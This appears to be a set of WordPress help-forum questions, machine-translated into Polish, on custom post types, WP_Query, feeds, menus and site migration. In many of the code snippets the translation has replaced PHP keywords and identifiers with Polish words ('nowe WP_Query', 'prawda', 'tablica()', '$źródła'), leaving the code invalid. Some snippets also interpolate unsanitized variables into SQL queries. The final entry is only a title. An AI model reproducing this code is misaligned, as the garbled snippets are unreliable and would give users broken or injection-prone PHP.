title: Archiwum niestandardowego typu postu dające 404

text: Używam WAMP z zainstalowaną najnowszą wersją WordPressa. Mam niestandardowy typ posta utworzony za pomocą następującego... function register_fruit() { register_post_type('fruit', array( 'labels' => array( 'name' => __( 'Fruit' ), ), 'public' => true, 'has_archive' => true, 'capability_type' => 'post', 'rewrite' => array("slug" => "/owoc", "with_front" => false), 'supports' => array( 'title', 'editor', 'thumbnail'), 'taxonomies' => array('category', 'post_tag') // to jest WAŻNE)); } add_action('init', 'register_fruit', 0 ); Działa to dobrze przy przeglądaniu pojedynczych elementów np. www.mojadomena.com/owoc/jabłko www.mojadomena.com/owoc/orange www.mojadomena.com/owoc/gruszka Ale jeśli spróbuję i przeglądam strony archiwum takie jak. .. www.mydomain.com/fruit Dostaję 404, nie widzę w czym tkwi problem, czy ktoś może pomóc?


title: Jak przekonwertować instalację WordPress pod SVN na taką, która nie jest?

text: Podczas jednej z moich instalacji WordPressa użyłem SVN do wykonania początkowej instalacji. Pomyślałem, że to pomogłoby w modernizacji... i tak było przez jakiś czas. Wypróbowałem to z najnowszą wersją 3.0.1 i ta metoda nie zadziałała. (Wykonuję aktualizację svn, uruchamiam skrypt upgrade.php, a upgrade.php zwraca błąd.) Więc teraz chcę przekonwertować Wordpress z zainstalowanym SVN na zwykły. Jak najlepiej się do tego zabrać? A może muszę zainstalować 3.0.1, a następnie zaimportować moje dane?


title: Dodanie instrukcji if do the_content()

text:
Stworzyłem własny szablon strony, w którym mam listę postów przychodzących bezpośrednio pod treścią: <?php the_content(); ?> <?php query_posts('nazwa_kategorii=wolne stanowiska'); ?>
 <?php while (have_posts()) : the_post(); ?>
<a href="<?php the_permalink() ?>"><?php the_title(); ?>
 <?php endwhile; ?>
 <?php // Zresetuj zapytanie wp_reset_query(); ?> Działa to dobrze na tej stronie, jednak na głównej stronie indeksu mój szablon jest skonfigurowany tak, że ładuje się w the_content() cztery różne strony. Chcę to uwzględnić w jednym z nich, np.: jeśli na stronie istnieje query_posts(), załaduj do the_content() na stronie indeksu Trochę mylące, mam nadzieję, że mam sens, jakieś pomysły?


title: Jak dołączyć terminy podrzędne do rodzica?

text: Mam następujące dla konkretnego terminu ID: <?php if (!is_tax( 'listing_category', '542' )) { ?> test1 <?php else: ?> test2 <?php } else { ?> To działa świetnie za to, że test2 pojawia się w terminie 542, ale chcę również uwzględnić wszystkie jego terminy potomne. Jak bym to zrobił?


title: Niestandardowe adresy URL kanałów

text: Tworzę niestandardowy kanał dla jednego z moich typów postów i pozwalam użytkownikom ustawić nazwę tego kanału. http://www.mysite.com/feed/userdefinedname Teraz chciałbym umożliwić użytkownikom wyświetlanie nie tylko wszystkich postów z tego CPT, ale także filtrowanie ich według kategorii. W tej chwili działa to tak: http://www.mojawitryna.com/feed/testcategory Jednak bardzo wolałbym, gdybym mógł go ustrukturyzować w następujący sposób: http://www.mojawitryna.com/feed/nazwazdefiniowana_użytkownika /testcategory Czy to możliwe? Oto kod, który generuje te kanały oparte na kategoriach: /** * Generuj kanały dla kategorii * * @since 1.0 */ function rss_c_add_category_feed( $in ) { $category = $GLOBALS['wp_rewrite']->feeds[ count( $GLOBALS['wp_rewrite']->kanały ) - 1 ]; // Przygotuj zapytanie o post // Uzyskaj opublikowane posty rss_feed z wiadomością rss_category w taksonomii $rss_custom_feed_query = apply_filters( 'rss_custom_feed_query', array( 'post_type' => 'rss_feed', 'post_status' => 'pubelish', ' => false, // wyłącz buforowanie 'tax_query' => array( array( 'taxonomy' => 'rss_category', 'field' => 'slug', 'terms' => array( $category ), 'operator' => 'W' )) ) ); // Prześlij zapytanie, aby uzyskać najnowsze elementy kanału query_posts( $rss_custom_feed_query ); $źródła = tablica(); while ( have_posts() ) { the_post(); $źródła[] = get_the_ID(); } // Utwórz tablicę zapytań $pre_query = array( 'post_type' => 'rss_feed_item', 'post_status' => 'publish', 'cache_results' => false, // wyłącz buforowanie 'meta_query' => array( array( 'key' => 'rss_feed_id', 'value' => $źródła, 'compare' => 'IN' ) ) ); // Pobierz opcje $options = get_option( 'rss_settings_general' ); if ( $options !== FALSE ) { // Jeśli opcje istnieją, uzyskaj limit $limit = $options['custom_feed_limit']; if ( $limit !== FALSE ) { // jeśli limit istnieje, ustaw limit zapytania $pre_query['posts_per_page'] = $limit; } } // zapytanie o posty query_posts( $pre_query ); // Wyślij nagłówek treści i uruchom ATOM output header('Content-Type: application/atom+xml'); // Wyłączanie buforowania header('Cache-Control: no-cache, no-store, must-revalidate'); // HTTP 1.1. header('Pragma: brak pamięci podręcznej'); // HTTP 1.0. header('Wygasa: 0'); // Proxy. echo '<?xml version="1.0" kodowanie="' .get_option('blog_charset') '"?' . '>'; ?> <feed xmlns="http://www.w3.org/2005/Atom"> <title type="text">Najnowsze importowane elementy kanału na <?php bloginfo_rss('name'); ?></title> <?php // Uruchom pętlę while ( have_posts() ): the_post(); ?> <wpis> <tytuł><![CDATA[<?php the_title_rss(); ?>]]></title> <link href="<?php the_permalink_rss(); ?>" /> <opublikowane><?php echo get_post_time( 'Y-m-d\TH:i:s\Z' ); ?></opublikowane> <content type="html"><![CDATA[<?php the_content(); ?>]]></content> </entry> <?php // Koniec pętli endwhile; ?> </feed> <?php }


title: Problemy z ładowaniem arkusza stylów i permalinków po ponownym uruchomieniu

text: Używam Ubuntu Server 10.04.02 LTS do hostowania mojego WordPressa w wersji 2.9.2. Problem polega na tym, że po ponownym uruchomieniu serwera i załadowaniu mojej strony domowej WordPress po prostu brakowało stylu mojego bloga i nie można było załadować wszystkich permalinków, nawet /wp-admin! Jednak po ponownym uruchomieniu apache2 z restartem usługi sudo apache2 po prostu wszyscy wrócili! Czy ktoś mógłby mi pomóc w rozwiązaniu problemu? Twoja pomoc będzie bardzo doceniona. ## Zaktualizowano: Rozwiązanie Zamień `<VitualHost my.domain.com:80>` na `<VirtualHost *:80>` w `apache2/sites-available/virtualhostfile`, a następnie przeładuj apache2. Otóż to :)


title: get_comments nie działa na niestandardowych typach postów

text:
Próbuję uzyskać wszystkie komentarze zalogowanego użytkownika w CPT "foods", ale nadal bez powodzenia. Oto mój kod: <?php $args = array( 'user_id' => $user->ID, 'post_type' => 'foods', // kiedy to usunąłem, lista pokazywała tylko komentarze pozostawione pod postami, ale nie w sprawie żywności CPT ); $komentarze = get_comments( $args ); if ( $comments ) { $output.= '
'; foreach ( $comments as $c ) { $output.= '
'; $output.= 'comment_ID ).'">'; $output.= get_the_title($c->comment_post_ID); $output.= ', Wysłano dnia: '. mysql2date('m/d/Y', $c->data_komentarza, $tłumacz); $output.= "
\n"; } $output.= '
'; echo $wyjście; } else { echo "
Jeszcze brak komentarzy.
";} ?> Ten kod nie zwraca żadnych komentarzy, mimo że ja, użytkownik, komentuję posty w Foods CPT. Dodatkowo, kiedy usunąłem linię post_type, zamiast pokazywać wszystkie komentarze, które dodałem, wyświetlały się tylko komentarze, które zostawiłem w Postach, a nie w Foods CPT. Stworzyłem CPT za pomocą WP Types, ale aby upewnić się, że to nie wtyczka powoduje problem, ręcznie utworzyłem inny CPT w pliku funkcji i skomentowałem post, który tam utworzyłem. Mimo to mój komentarz w tym CPT się nie pojawił. Jaki może być problem?


title: Galeria nie wyświetla obrazów po ich kliknięciu

text: Wstawiłem galerię wordpress do mojej witryny (w niestandardowym typie postu) za pomocą edytora. Dodany kod to `[gallery link="plik"]`. Galeria wyświetla się poprawnie, a po najechaniu na obrazy widzę poprawny adres URL dla obrazu o dużym rozmiarze: „http://localhost:8888/mntn/wp-content/uploads/2012/07/P1000857.jpg” . Jednak po kliknięciu obrazu większy obraz nie jest wyświetlany. Wszystko, co się dzieje, to zmiana adresu URL z: http://localhost:8888/mntn/trips/photo-gallery-test na http://localhost:8888/mntn/trips/photo-gallery-test#!prettyPhoto[pp_gal ]/0/ Ostatnia liczba w tym adresie URL jest zwiększana na podstawie obrazu, który klikam. Jakieś pomysły, co tu jest nie tak?


title: Jak wyświetlić sekcję przez określony czas

text:
buduję witrynę z wiadomościami. Chcę wyświetlać 1 polecany post z kategorii „prime” tylko przez kilka godzin. po wygaśnięciu lub zniknięciu z sekcji. zajrzyj tutaj możesz zobaczyć post na górze.
 <?php $the_query = new WP_Query('category_name=prime&showposts=1&orderby=post_date&order=desc'); if ($the_query->have_posts()) :?>
 <?php while ($the_query->have_posts()) : $the_query->the_post(); ?> <?php koniec; ?>

<a href="<?php the_permalink(); ?>" title="" class="title_slide"><?php the_title(); ?>

<?php echo limit_words(get_the_excerpt(), '190'); ?><a href="<?php the_permalink(); ?>"><?php _e('आगे पढे...', 'BharatNews'); ?>

<?php bharti_get_image('image',560,320,' '.$GLOBALS['align']); ?>

 <?php endif; ?>


title: Używanie formularza do zmiany zmiennej PHP

text: Wyciągam niestandardowe posty według ich meta_key używając tej funkcji: <?php $args = array( 'numberposts' => 10, 'meta_key' => 'allvotes', 'orderby' => 'meta_value', 'order' = > 'DESC', 'post_type' => 'rzeczy', 'post_status' => 'opublikuj' ); $mystuff = get_posts( $args ); ?> Chcę włączyć formularz, który będzie edytować moje zmienne, ale kiedy próbuję kodu, nie zwraca on żadnych postów... <?php $filter = $_POST['kraj']; $wyślij = $_POST['prześlij']; if(isset($submit)){ $args = array( 'numberposts' => 10, 'meta_key' => '$filter', 'orderby' => 'meta_value', 'order' => 'DESC', ' post_type' => 'rzeczy', 'post_status' => 'opublikuj' ); $mystuff = get_posts( $args ); $nazwa = $filtr ; } else { $args = array( 'numberposts' => 10, 'meta_key' => 'kanada', 'orderby' => 'meta_value', 'order' => 'DESC', 'post_type' => 'things' , 'post_status' => 'opublikuj' ); $mystuff = get_posts( $args ); $name = 'Wszędzie'; }; ?>


title: Czy $page jest zmienną globalną w wordpressie?

text: Mam problem z lokalną zmienną $page, zwłaszcza gdy używam jej w The Loop. Czy jest to zastrzeżona zmienna Wordpressa? Gdzie mogę znaleźć listę wszystkich tych zmiennych globalnych?


title: Parametr „tax_query” nie działa z WP_Query

text: Mam niestandardowy typ posta o nazwie „epizod”. Dołączony do „odcinka” mam niestandardową taksonomię o nazwie „typ_wideo”, która zawiera dwa terminy: „nagranie bonusowe” i „odcinek”; „odcinek” zawiera dwa terminy potomne „sezon-1” i „sezon-2” (inne sezony zostaną dodane w przyszłości). Chcę pobrać tylko najnowszy post typu „odcinek”, ale nie uwzględniam żadnych wpisów z terminu „bonus-nagranie”. Poniżej znajduje się kod, którego używam do tego: <?php $some_args = array( 'tax_query' => array( 'taxonomy' => 'video_type', 'terms' => 'bonus-footage', 'field' = > 'slug', 'include_children' => true, 'operator' => 'NOT IN' ), 'posts_per_page' => 1, 'post_type' => 'epizod', ); $s = nowe WP_Query( $some_args ); if ( $s->have_posts() ): $s->the_post(); // Zrób coś z tym postem. endif; ?> Zapytanie działa zgodnie z oczekiwaniami, jeśli post w jednym z terminów „sezonu” jest najnowszy, ale jeśli post w „nagraniu bonusowym” jest najnowszy, ładuje ten. Innymi słowy, moje parametry "tax_query" wydają się nie mieć wpływu na zapytanie. Czy nie formatuję poprawnie „tax_query”, czy też brakuje mi czegoś innego? Próbowałem też ustawić "tax_query" jak poniżej: 'tax_query' => array( 'taxonomy' => 'video_type', 'terms' => 'episode', 'field' => 'slug', 'include_children' = > prawda, 'operator' => 'IN' ), ale nadal otrzymuję ten sam wynik.


title: Błąd po przeniesieniu bloga wordpress

text: Pracowałem nad blogiem wordpress pod domeną testową (example.com/blog/), a teraz chcę przenieść go pod własną domenę, która znajduje się na tym samym serwerze, ale na innym vhost. Po trochę googlowaniu znalazłem sposób, aby to zrobić, po prostu przenosząc pliki, jednak wygenerowało to błąd wewnętrzny 500. Jest to (prawie) normalne, ponieważ witryna odczytuje starą lokalizację witryny. Musiałem zaktualizować go następującym kodem umieszczonym w functions.php <?php update_option('siteurl','http://example.com'); update_option('home','http://example.com'); ?> Próbowałem za pomocą tego kodu przeładować stronę kilka razy, jak mówi dokumentacja wordpress, ale znowu nic! Zaktualizowałem również bazę danych do example.com, ale nadal nic. Czy da się to naprawić? Czy mogę po prostu zmienić lokalizację vhosta na folder / arduino /? Konfiguracja mojego serwera: Ubuntu 13 Nginx MariaDB Aktualna lokalizacja: /var/www/clients/client0/web3/web/arduino/ Pożądana lokalizacja: /var/www/clients/client0/web7/web/ Wszelkie pomysły na to, jak to działa ? Używam ISPconfig do tworzenia wirtualnych hostów


title: Wordpress Shortcode w tytule pozycji menu

text: Szukałem i nie znalazłem niczego, co działa. Próbuję dołączyć shortcode do elementu menu „Etykieta nawigacyjna”. Zasadniczo chciałbym mieć dynamiczny tytuł wyświetlający nazwę użytkownika i awatar. [profilepicture round] [user_name] W tej chwili po prostu wyplułem, ponieważ menu Wordpress nie analizują skrótów. Próbowałem: function my_nav_menu_objects_shortcode_mangler($items) { foreach ($items as $item) { $item->title = do_shortcode($item->title); } return $items; } Ale nie analizuje tego. Próbowałem też $item->type_label bez powodzenia. Czy po prostu odnoszę się do niewłaściwego atrybutu przedmiotu? Próbowałem również następujących bez powodzenia. add_filter('wp_nav_menu_items', 'do_shortcode'); W razie potrzeby awatar i nazwę użytkownika można pobrać przez php: <?php echo userpro_profile_data('user_login', $user_id); ?> <?php echo userpro_profile_data('profilepicture', $user_id); ?>


title: Co dzieje się z folderem mu-plugins po uaktualnieniu do Wordpress 3?

text: Mam zamiar nacisnąć przycisk „uaktualnij” w mojej instalacji Wordpress MU 2.8. Co się stanie z folderem mu-plugins? Czy istnieje równoważny sposób na automatyczną aktywację wtyczki we wszystkich moich witrynach?


title: Niestandardowy typ posta i Meta Box - Wyświetlasz informacje o metaboxie w interfejsie użytkownika?

text: Stworzyłem niestandardowe „projekty” typu postów, które mają meta pole na dodatkowe informacje (nazwa klienta, typ projektu, budżet itp.). Chciałbym móc wyświetlać te informacje na interfejsie użytkownika. W razie potrzeby można dodać niestandardowy typ postu do niestandardowych menu ('show_in_nav_menus' => true), ale kiedy przeglądasz każdy projekt, widzisz tylko tytuł i opis. Idealnie chciałbym, aby metadane były wyświetlane z tytułem i opisem w dowolnym motywie używanym w witrynie, ale nie wiem, czy jest to możliwe. Czy istnieje sposób na wyświetlenie informacji metabox na interfejsie użytkownika bez konieczności (a) dotykania plików motywu (ponieważ motywy mogą się zmieniać, więc nie chcę tego robić) lub (b) wywoływania własnej funkcji, która zwraca mój własny szablon strony dla projektów (ponieważ wtedy nie będzie używał aktywnego motywu)? Dziękuję! ETA - To wszystko odbywa się w mojej wtyczce.


title: Wstawianie danych do zewnętrznej bazy danych za pomocą WPDB

text: Próbuję po raz pierwszy pracować z zewnętrzną bazą danych w Wordpress i nie mogę jej uzyskać, aby wstawić dane do bazy danych. Oto co mam: <?php global $wpdb; $url = home_url(); require_once($url.'/viper/confff.php'); //zawiera zmienną do wypełnienia poniżej $newdb = new wpdb($username, $password, $db_name, $host); $newdb->show_errors(); ?> $numrows = $newdb->get_results("SELECT * FROM chi_clients WHERE AccountNum='$AcctNum'"); if($numrows!=0) { $row = $newdb->get_results("SELECT * FROM chi_clients WHERE AccountNum='$acctNum'",ARRAY_A); $name= $row['lastName'] . "," . $row['imię']; $telefon= $wiersz['telefon']; $obszar telefonu = substr($telefon,0,3); $phonemain = substr($telefon,3,10); $numer telefonu = $obszar telefonu "-". $phonemain; $email= $row['e-mail']; $newdb ->insert ( chi_orders, array( 'name' => '$name', 'AccountNum' => '$acctNum', 'email' => '$email', 'OrderDesc' => '$orderDesc', 'product' => '$usługa', 'ilość' => '$ilość', 'notes' => '$notes', 'status' => 'Zamówienie Otrzymano', 'dateIne' => '$todayDate', 'dateOut' => '$nowaData', 'ogłoszenie' => '$ogłoszenie', 'telefon' => '$numer telefonu' ) ); } else { echo'Nieprawidłowy numer konta!'; } Wiem, że dane są publikowane na stronie, ponieważ mam echo zmiennych do wyświetlenia na stronie. Jednak nie łączy się z bazą danych, ponieważ nie otrzymuję informacji z instrukcji get_results SELECT i nie wstawia niczego do bazy danych. Dla mojego $hosta używam „localhost”, którego zawsze używałem dla tej konkretnej bazy danych. I wiem, że nazwa użytkownika, hasło i nazwa bazy danych są poprawne. jakieś pomysły? Dziękuję.


title: Wyświetl warunki dla wszystkich postów w bieżącym archiwum lub zapytaniu

text:
Używam następującego kodu, aby utworzyć listę powiązanych terminów należących do taksonomii. <?php $taksonomia = 'nazwa_taksonomii'; $quered_term = get_query_var($taksonomia); $terms = get_terms($taksonomia, 'slug='.$queried_term); if ($terms) { echo '
'; foreach($terms as $term) { echo '
slug, $taxonomy).'">'.$term->nazwa.'
'; } echo '
'; } ?> Czy mogę to zmienić tak, aby po wybraniu/kliknięciu terminu i wyświetleniu archiwum lista terminów wyświetlała tylko terminy dołączone do postów w bieżącym archiwum terminów — w praktyce system filtrowania / drążenia?


title: Wymiana & w kodzie JS na stronach

text: Muszę usunąć `&`, który wydaje się zastępować mój `&` w kodzie mojej strony. Mój oryginalny kod wyglądał tak: $.get(../form/master.php?named=CAP&captcha="+$("#captcha_txt").val(), {}, function(response){ a teraz, patrząc na kod źródłowy strony, która ładuje go w wordpressie: $.get(../form/master.php?name=CAP&captcha="+$("#captcha_txt").val(), {}, function (response) { Co mogę zrobić, aby nie zastępował mojego `&` w kodzie JS?


title: Jak ustawić kategorię Preset dla niestandardowych typów postów?

text: W przypadku postów możesz mieć wstępnie zdefiniowaną kategorię, w której wszystkie posty przypadają, jeśli nie określono inaczej (ustawienia -> pisanie). Czy można to zrobić w przypadku niestandardowych typów postów, które mają niestandardową taksonomię? `register_taksonomia` wydaje się nie oferować parametrów do tego. Dzięki jeszcze raz :)


title: Dodaj niestandardowy skrypt na stronie Opcje innych wtyczek

text: Próbuję umieścić niestandardowy wbudowany JavaScript to strona opcji stworzona przez wtyczkę. Adres URL strony jest taki jak `wp-admin/admin.php?page=psbg`. To jest kod, którego używam do wyprowadzania mojego skryptu w nagłówku. funkcja add_scripts() { $current_screen = get_current_screen(); if ( $current_screen = 'admin.php?page=psbg' ) { // Moje kody tutaj } } add_action( 'admin_head', 'add_scripts' ); To nie działa. Ale jeśli zmienię wartość porównania `$current_screen` na if ( $current_screen = 'admin.php' ) { // Moje kody tutaj } to działa, ale dodaje kod do każdej strony ze stroną nadrzędną `admin.php `. Co robię źle?


title: Wyłącz wpautop, zachowaj podziały wierszy

text: Jak mogę wyłączyć automatyczne znaczniki akapitów, ale zachować podziały wierszy? Użyłem tego do usunięcia wpautop: remove_filter( 'the_content', 'wpautop' ); usuń_filtr( 'wyciąg', 'wpautop' ); Ale w tekście nie ma już podziałów wierszy.


title: Wyświetlaj zapytanie z wieloma typami postów i tą samą relacją na jednej stronie

text: Tworzę portal klienta, w którym moi klienci mogą utrzymywać swoje projekty i wystawiać opinie w Wordpress. Mam dwa niestandardowe typy postów o nazwie „Klienci” i „Projekty”, z których każdy pobiera informacje od siebie na zapleczu. Kiedy tworzę klienta, automatycznie generuje jego postID w rozwijanym menu w typie postu projektów, w którym mogę przypisać klienta do projektu. To, co staram się osiągnąć, to wyświetlanie wszystkich projektów, które są powiązane z wybranym klientem na jednej stronie frontendu. Pojedyncza strona będzie portalem klienta, który jest generowany przez typ posta klienta. Wygląda na to, że nie mogę wyświetlić powiązanego posta. Oto mój kod dla `single.php`, który będzie wyświetlał projekty na portalu klientów. <?php $stronicowany = (get_query_var('stronicowany')) ? get_query_var('stronicowane') : 1; $loop = new WP_Query( array( 'post_type' => array( 'projekty'), 'posts_per_page' => -1, 'paged' => $paged, 'meta_query' => array( array( 'key' => 'a_client', // nazwa niestandardowego pola 'value' => '"' .get_the_ID() . '"', 'compare' => 'LIKE' ) ) )); ?> Poniżej znajduje się kod, którego używam do przypisywania klienta do projektów w panelu administracyjnym projektów. Ten skrypt wyświetla każdego klienta, który utworzyłem na stronie klienta i wyświetla jego nazwy w rozwijanym menu. add_action( 'add_meta_boxes', 'add_clients_custom_metabox' ); function add_clients_custom_metabox() { add_meta_box( 'niestandardowe-metabox', __( 'Klienci' ), 'clients_custom_metabox', 'projekty', 'bok', 'wysokie' ); } function customers_custom_metabox($post) { global $post,$current_user; //zapamiętaj bieżący obiekt $post $real_post = $post; //pobierz aktualne informacje o użytkowniku (potrzebujemy identyfikatora) get_currentuserinfo(); //utwórz nonce echo '<input type="hidden" name="clients_meta_box_nonce" value="', wp_create_nonce(basename(__FILE__)), '" />'; //pobierz zapisaną meta $selected = get_post_meta( $post->ID, 'a_clients', true ); //utwórz zapytanie dla wszystkich postów klientów użytkownika $clients_query = new WP_Query(); $clients_query->query(array( 'post_type' => 'client_portal', 'posts_per_page' => -1, 'autor' => $current_user->ID)); if ($clients_query->have_posts()){ echo '<select name="a_clients" id="a_clients">'; //zapętl wszystkie posty i dodaj je do listy rozwijanej wyboru echo '<option>Przypisz klienta</option>'; while ($clients_query->have_posts()){ $clients_query->the_post(); echo '<wartość opcji="'.$post->ID.'" '; if ( $post->ID == $selected){ echo 'selected="selected"'; } echo '>'.$post->post_title .'</option>'; } echo '<wybierz>'; } //zresetuj zapytanie i $post do jego rzeczywistej wartości wp_reset_query(); $post = $real_post; } //zaczep, aby zapisać post meta add_action( 'save_post', 'save_clients_custom_metabox' ); // Przetwórz niestandardowe pola metabox function save_clients_custom_metabox( $post_id ) { global $post; // zweryfikuj numer jednorazowy, jeśli (!wp_verify_nonce($_POST['clients_meta_box_nonce'], basename(__FILE__))) { return $post_id; } // sprawdź autozapis if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) { return $post_id; } // sprawdź uprawnienia if ('events' == $_POST['post_type']) { if (!current_user_can('edit_page', $post_id)) { return $post_id; } } elseif (!current_user_can('edit_post', $post_id)) { return $post_id; } if( $_POST ) { $old = get_post_meta($post_id, 'a_clients', true); $nowy = $_POST['a_clients']; if ($nowy && $nowy != $stary){ update_post_meta($post_id, 'a_clients', $nowy); } } } Pełny kod dla single.php http://pastebin.com/na7djwsq Zarejestruj typ posta, którego używam Typ posta projektu nazywa się => **projekty** Typ posta klienta nazywa się => **portal_klienta**


title: Jak dodać niestandardową opcję do danych użytkownika?

text: Chciałbym dodać awatary do moich użytkowników. Mam ograniczoną grupę w witrynie, w której pracuję. Wgrywanie nie stanowi problemu, możemy po prostu umieścić obrazy na serwerze i użyć adresów URL do ustawienia naszych awatarów (tylko około 5 osób będzie mogło publikować). To powiedziawszy, jak mam dodać pole do strony użytkownika, którą mogą wypełnić za pomocą adresu URL obrazu, który można później pobrać. Wiem, że możesz pobrać dane użytkownika za pomocą funkcji `the_author_meta();`, ale jak dodać niestandardowe pole użytkownika, które można wypełnić i umieścić w bazie danych powiązanej z użytkownikiem? A może lepiej byłoby użyć czegoś, co już istnieje, na przykład pola „aim”, ponieważ nikt z nas nie będzie go wypełniał.


title: CSS nie wciąga się do okna dialogowego jQuery UI

text: Chcę dodać modalne okno dialogowe jQuery do strony formularza. Po uruchomieniu okna dialogowego widzę treść tekstową, ale bez CSS. Pobieram jquery w functions.php dla strony: wp_enqueue_script('jquery-ui-dialog'); jquery css (jquery-ui-dialog.css) znajduje się w moim katalogu wp-includes/css. Próbowałem dodać wp_enqueue_style('jquery-ui-dialog'); ale to nie działa. Czy ktoś zna właściwy sposób włączania okna dialogowego jQuery.


title: wordpress jak wyszukiwać tabelę wp_options

text: Muszę wykonać wywołanie SQL, aby znaleźć wszystkie rekordy w wp_options pasujące do instrukcji SELECT. Jak mogę wysłać zapytanie do tabeli? Mój skrypt ma już te zasoby o nazwie... require_once('../../../wp-blog-header.php'); require_once('../../../wp-admin/includes/file.php');


title: dlaczego nazwa kotwicy dodaje ukośnik do adresu URL?

text:
Próbuję zrobić coś, co powinno być najbardziej podstawowym html, ale to nie działa dla mnie. Oto mój kod:

Tytuł

jakiś tekst

 Chcę użyć nazwy kotwicy do przewiń stronę kontaktową do odpowiedniej sekcji. Kiedy używam linku na stronie kontaktowej w ten sposób: kliknij tutaj działa dobrze. Ale chcę wyjść z innej strony, a potem zlecieć w dół. Więc używam tego: kliknij tutaj, ale wydaje się, że dodaje ukośnik po kontakcie i przekierowuje na http://mysite.com/ contact/#rocket, co oznacza, że pozostaje na górze strony kontaktowej zamiast lecieć w dół. Czy ktoś wie, dlaczego tak się dzieje? Jeśli mógłbyś wskazać mi właściwy kierunek, byłbym wdzięczny. Dzięki, Yukon ps, przeczytałem wszystkie podobne pytania na tej stronie, ale one mi nie pomagają.


title: Wyświetlaj tylko posty innych osób na ekranie przeglądu

text: Przeczytałem odpowiedzi w tym artykule Mam jednak inne pytania w tej sprawie: 1\. Nie jestem programistą, więc gdzie mam umieścić poniższy kod? 2\. Czy mogę to osiągnąć w Podsach http://pods.io/? Jeśli tak, to jak? add_action( 'load-edit.php', 'wpse14230_load_edit' ); funkcja wpse14230_load_edit() { add_action( 'żądanie', 'wpse14230_żądanie' ); } function wpse14230_request( $query_vars ) { if ( ! current_user_can( $GLOBALS['post_type_object']->cap->edit_others_posts )) { $query_vars['autor'] = get_current_user_id(); } return $query_vars; }


title: Niestandardowy formularz wyszukiwania do wyświetlania tylko użytkowników

text: Próbuję stworzyć niestandardowy formularz wyszukiwania dla jednej z moich stron. Potrzebuję formularza wyszukiwania, aby móc wyszukiwać użytkowników. Nie tylko będzie musiał szukać użytkowników, ale także według imienia, nazwiska itp. Coś podobnego do tego: ![tutaj wpisz opis obrazu](http://i.stack.imgur.com/YtcZF.jpg) domyślne wyszukiwanie WP nie pozwala mi na wyszukiwanie użytkowników w mojej witrynie. Używam wtyczki „Wyszukaj wszystko” i nadal nie mogę uzyskać żadnych danych użytkownika, aby pojawiły się w moich wyszukiwaniach. Każda pomoc jest mile widziana. # EDYCJA Oto mój formularz: <?php global $wpdb; $authors = $wpdb->get_results("SELECT ID, display_name FROM $wpdb->users WHERE user_nicename != 'admin' ORDER BY display_name LIMIT 10"); ?> <form action="<?php bloginfo('siteurl'); ?>" id="memberform" method="get"> <div class="first_name"> <select id="firstNameDrop" name="s "> <option selected value="Imię">Imię</option> <?php foreach($authors as $author) { $author_info = get_userdata($author->ID); $name = $autor_info->first_name; echo '<option value="'.$name.'">'.$name.'</option>'; } ?> </select> </div> <input type="submit" class="submit" name="submit" value="Search" /> </form> To pozwala mi mieć moje rozwijane pole ze wszystkimi użytkownicy posortowani według imienia, a kiedy klikam wyszukiwanie, przenosi mnie na moją stronę wyszukiwania i wyciąga wszystkie posty odpowiadające mojemu wyszukiwaniu. To wszystko w porządku i elegancko, ale potrzebuję TYLKO do pobierania informacji o użytkownikach - takich jak imię, nazwisko, awatar, opis itp., A NIE posty.


title: Jak prawidłowo oczyścić ciągi dla funkcji update_option()

text: Próbowałem zaimportować wartość opcji przez update_options($nazwa, $wartość), gdzie $wartość ma znaki specjalne (jak na przykład apostrof) i zauważyłem, że apostrof jest usuwany z tekstu, zanim dotrze do bazy danych. Jaka jest sugerowana dezynfekcja ciągów przed wysłaniem ich do update_options()?


title: Gdzie umieścić moje add_action(... i add_filter(... i czy muszę je usunąć?

text: Pracuję nad stworzeniem wtyczki z jakiegoś niestandardowego kodu, którego często używam, w nadziei, że inni też uznają go za przydatny. Działa, więc tak! ale... **Oto moje pytanie:** Czuję, że brakuje mi elementów układanki w moim zrozumieniu systemu. Co dzieje się z całym kodem, który dodam i przechwytuję wszędzie po dezaktywacji wtyczki? Kiedy w moim głównym pliku .php jest kod, którego nie ma w wykonywanej funkcji? Tylko podczas instalacji? Jaki jest zatem cel `register_activation_hook(__FILE__,'install_method');`? Jeśli umieściłem `add_action` i `add_filter` w moim głównym pliku php, czy muszę je usunąć podczas odinstalowywania? (Na przykład wiem, że jeśli `add_option('option', '0', '', 'yes');` podczas instalacji muszę `delete_option('option');` podczas odinstalowywania.) W jakimś tutorialu , kazali mi umieścić `if ( is_admin() ) {}` wokół mojego kodu, czy jest to konieczne?


title: Dodać separator do menu administracyjnego?

text: Czy ktoś wie, jak dodać separator menu administratora? Znalazłem to, ale to nie pomogło. * http://lab.yukei.net/wp-code/nav.html?wp-admin/menu.php.source.html Jakieś pomysły?


title: Utworzyć obszar widżetów na pasku nawigacyjnym dla Genesis Theme Framework?

text:
_( **Uwaga moderatora:** Oryginalny tytuł brzmiał: „Jak mogę utworzyć obszar widżetów na pasku nawigacyjnym (specyficzny dla Genesis)?”(_ Próbuję utworzyć obszar widżetów na pasku nawigacyjnym. próbuję dostosować to z doskonałego samouczka Billa Ericksona na temat dodawania statycznej zawartości do paska nawigacyjnego.To jest kod, który dodałem do mojego pliku functions.php, aby zarejestrować i umieścić obszar widżetów: genesis_register_sidebar(array( 'name'=> 'Nav Right', 'description' => 'To jest prawa sekcja paska nawigacyjnego.', 'before_widget' => '
', 'after_widget' => '
', 'before_title'=>'
','after_title'=>'
' )); //Dodanie obszaru widżetu do navbar add_filter('genesis_nav_items','navbar_widget',10,1); add_filter('wp_nav_menu_items','navbar_widget',10,1); function navbar_widget() { ?>
 <?php if (!dynamic_sidebar('Nawigacja R ight')) : ?>

<?php _e("Nawigacja w prawo", 'geneza'); ?>

<?php _e("To jest widżet, który nazywa się Nav Right.", 'genesis'); ?>

 <?php endif; ?>
 <?php } Jednak kończę na tym: ![alt text](http://i.stack.imgur.com/ op4k3.jpg) Z obszarem widżetów poza paskiem nawigacji (i linkami usuniętymi z paska nawigacji - powinien tam być link Strona główna i Informacje). To jest html (kiedy przeglądam źródło strony):

Research Valley International Gateway

Po prostu kolejna witryna WordPress

Nawigacja w prawo

Jest to widżetowy obszar, który nazywa się Nav Right.

 Wszelkie sugestie, jak uzyskać nowy obszar widżetów, który został utworzony w ramach `<div id= "nav"></div>`?


title: Gdzie jest przechowywany plik robots.txt do instalacji WordPress Multisite?

